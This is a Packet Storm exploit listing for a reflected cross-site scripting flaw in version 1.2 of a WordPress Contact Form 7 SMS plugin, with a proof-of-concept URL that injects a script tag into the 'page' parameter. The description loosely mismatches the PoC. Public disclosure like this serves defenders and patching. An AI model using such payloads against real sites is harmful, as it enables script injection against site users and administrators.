WordPress International SMS For Contact Form 7 Integration 1.2 XSS ≈ Packet Storm

Home^[1] Files^[2] News^[3] Contact^[4] Add New^[5]

Change Mirror^[11] Download^[12]

        # Exploit Title: WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross Site Scripting (XSS)
# Date: 2022-02-04
# Author: Milad karimi
# Software Link: https://wordpress.org/plugins/cf7-international-sms-integration/
# Version: 1.2
# Tested on: Windows 11
# CVE: N/A
1. Description:
This plugin creates a cf7-international-sms-integration from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.
2. Proof of Concept:
http://localhost/cf7-international-sms-integration/includes/admin/class-sms-log-display.php?page=<script>alert("test")</script>
//By [Ex3ptionaL]

• Follow us on Twitter^[15]
• Follow us on Facebook^[16]
• Subscribe to an RSS Feed^[17]

File Tags

• ActiveX^[18] (932)
• Advisory^[19] (76,712)
• Arbitrary^[20] (14,959)
• BBS^[21] (2,859)
• Bypass^[22] (1,519)
• CGI^[23] (1,010)
• Code Execution^[24] (6,494)
• Conference^[25] (667)
• Cracker^[26] (797)
• CSRF^[27] (3,248)
• DoS^[28] (21,566)
• Encryption^[29] (2,320)
• Exploit^[30] (49,194)
• File Inclusion^[31] (4,122)
• File Upload^[32] (934)
• Firewall^[33] (821)
• Info Disclosure^[34] (2,533)
• Intrusion Detection^[35] (845)
• Java^[36] (2,755)
• JavaScript^[37] (790)
• Kernel^[38] (5,911)
• Local^[39] (13,909)
• Magazine^[40] (586)
• Overflow^[41] (12,047)
• Perl^[42] (1,410)
• PHP^[43] (5,026)
• Proof of Concept^[44] (2,273)
• Protocol^[45] (3,241)
• Python^[46] (1,365)
• Remote^[47] (29,364)
• Root^[48] (3,432)
• Ruby^[49] (564)
• Scanner^[50] (1,628)
• Security Tool^[51] (7,637)
• Shell^[52] (3,015)
• Shellcode^[53] (1,194)
• Sniffer^[54] (877)
• Spoof^[55] (2,064)
• SQL Injection^[56] (15,879)
• TCP^[57] (2,345)
• Trojan^[58] (666)
• UDP^[59] (866)
• Virus^[60] (657)
• Vulnerability^[61] (30,180)
• Web^[62] (8,884)
• Whitepaper^[63] (3,701)
• x86^[64] (941)
• XSS^[65] (17,221)
• Other^[66]

File Archives

• February 2022^[67]
• January 2022^[68]
• December 2021^[69]
• November 2021^[70]
• October 2021^[71]
• September 2021^[72]
• August 2021^[73]
• July 2021^[74]
• June 2021^[75]
• May 2021^[76]
• April 2021^[77]
• March 2021^[78]
• Older^[79]

Systems

• AIX^[80] (423)
• Apple^[81] (1,860)
• BSD^[82] (368)
• CentOS^[83] (55)
• Cisco^[84] (1,911)
• Debian^[85] (5,947)
• Fedora^[86] (1,690)
• FreeBSD^[87] (1,241)
• Gentoo^[88] (4,151)
• HPUX^[89] (875)
• iOS^[90] (311)
• iPhone^[91] (108)
• IRIX^[92] (220)
• Juniper^[93] (67)
• Linux^[94] (41,430)
• Mac OS X^[95] (682)
• Mandriva^[96] (3,105)
• NetBSD^[97] (255)
• OpenBSD^[98] (476)
• RedHat^[99] (11,020)
• Slackware^[100] (941)
• Solaris^[101] (1,601)
• SUSE^[102] (1,444)
• Ubuntu^[103] (7,608)
• UNIX^[104] (9,017)
• UnixWare^[105] (182)
• Windows^[106] (6,271)
• Other^[107]

© 2020 Packet Storm. All rights reserved.